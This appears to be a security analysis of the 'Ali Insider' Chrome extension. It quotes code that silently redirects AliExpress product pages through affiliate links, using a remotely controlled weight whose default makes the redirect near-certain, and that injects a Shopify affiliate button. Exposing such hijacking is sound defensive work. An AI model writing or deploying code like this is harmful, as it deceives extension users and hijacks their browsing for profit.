Is Ali Insider- AliExpress Product Research Tool safe?

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  chrome.storage.local.get(null, (stored) => {
    const nowMs = Date.now();

    // First run: seed the 12h cooldown timer.
    if (!stored.linkDate) {
      chrome.storage.local.set({ linkDate: nowMs });
    }

    const url = tab.url || "";
    const isProductPage =
      url.includes("/item") &&
      !url.includes("1320704") &&   // excluded product ID (own affiliate landing page)
      !url.includes("1896075");     // excluded product ID (own affiliate landing page)

    if (!isProductPage) return;

    const productId = url.slice(url.lastIndexOf("/") + 1, url.lastIndexOf(".html"));
    const weight = stored.affPerc ? parseFloat(stored.affPerc) : -0.5; // remote-controlled, config default -0.5

    // Weighted coin-flip: with weight=-0.5, Math.random()-(-0.5) is always > 0.5,
    // so the alitems.co branch is taken on effectively every qualifying navigation.
    const redirectUrl = (Math.random() - weight > 0.5)
      ? `https://alitems.co/g/1e8d1144941ec0117e2316525dc3e8/?subid=pr&ulp=${encodeURIComponent(`https://www.aliexpress.com/item/${productId}.html`)}`
      : `https://alitems.link/a/?r=ins&s=SUBID&s1=SUBID1&s2=SUBID2&s3=SUBID3&s4=SUBID4&u=${encodeURIComponent(`https://www.aliexpress.com/item/${productId}.html`)}`;

    if (!stored.linkDate) return;

    if (nowMs - parseFloat(stored.linkDate) > 43_200_000) {
      // 12h cooldown elapsed: redirect and reset both timers.
      chrome.storage.local.set({ linkDate: nowMs, linkDateRes: nowMs });
      chrome.tabs.update(tabId, { url: redirectUrl });
    } else if (url.includes("aff_trace_key") || stored.linkDateOther) {
      // Returning with an existing affiliate parameter: shorter 12min cooldown.
      if (!stored.linkDateRes || nowMs - parseFloat(stored.linkDateRes) > 720_000) {
        chrome.storage.local.set({ linkDateRes: nowMs });
        chrome.tabs.update(tabId, { url: redirectUrl });
      }
    }
  });
});

fetch("https://aliinsider.herokuapp.com/api/exchangeRateAi")
  .then(res => res.json())
  .then(cfg => {
    if (cfg.rates) {
      let rates       = cfg.rates;
      let affPerc     = cfg.affPerc      || -0.5;                                   // remote-controlled redirect weight
      let shopifyText = cfg.shopifyText  || "Shopify <b>$1/month</b>!";             // injected button label
      let shopifyLink = cfg.shopifyAfLink|| "https://shopify.pxf.io/aliinsiderpromo1"; // injected button destination
      let np          = cfg.np  || 0;
      let npc         = cfg.npc || "";
      let timeToCheck = cfg.timeToCheck || 48;
      chrome.storage.local.set({
        exchangeRateList: rates,
        affPerc, shopifyText, shopifyAfLink: shopifyLink,
        np: 0, npNew: np, npc, npClosed: np > 0 ? false : true,
        timeToCheck
      });
    }
  });

// On AliExpress /item navigations:
let weight = storage.affPerc ? parseFloat(storage.affPerc) : -0.5;
if (Math.random() - weight > 0.5)
  redirectUrl = "https://alitems.co/g/1e8d1144941ec0117e2316525dc3e8/?subid=pr&ulp=" + encodeURIComponent(itemUrl);
else
  redirectUrl = "https://alitems.link/a/?r=ins&...&u=" + encodeURIComponent(itemUrl);
// With the default affPerc=-0.5, Math.random()-(-0.5) is always > 0.5,
// so the alitems.co affiliate branch is taken for every item navigation.

let text = cfg.shopifyText || "Shopify <b>$1/month</b>!";
let link = cfg.shopifyAfLink || "https://shopify.pxf.io/aliinsiderpromo1";
// builds a #shopify44Button span with `text`, appended into the AliExpress
// search sort bar; clicking it opens `link`.